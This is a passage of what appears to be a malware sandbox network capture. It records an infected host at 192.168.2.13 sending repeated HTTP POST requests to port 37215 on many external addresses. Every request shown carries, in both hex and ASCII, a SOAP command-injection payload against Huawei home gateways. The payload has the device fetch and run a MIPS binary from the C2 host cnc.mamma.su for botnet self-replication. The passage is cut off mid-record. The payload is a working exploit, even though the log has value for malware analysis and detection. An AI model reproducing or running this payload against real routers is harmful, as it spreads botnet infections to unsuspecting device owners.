/nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Aug 17, 2024 01:01:52.833359003 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	37710	41.169.24.194	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581698895 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Aug 17, 2024 01:01:52.833359003 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	34782	156.130.74.237	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581716061 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Aug 17, 2024 01:01:52.833359957 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	39320	41.146.30.215	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581748962 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Aug 17, 2024 01:01:52.833364964 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	55838	156.254.254.127	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581775904 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	58540	41.118.68.121	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581794024 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	58038	197.19.137.9	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581820965 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	55598	156.13.184.139	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581842899 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 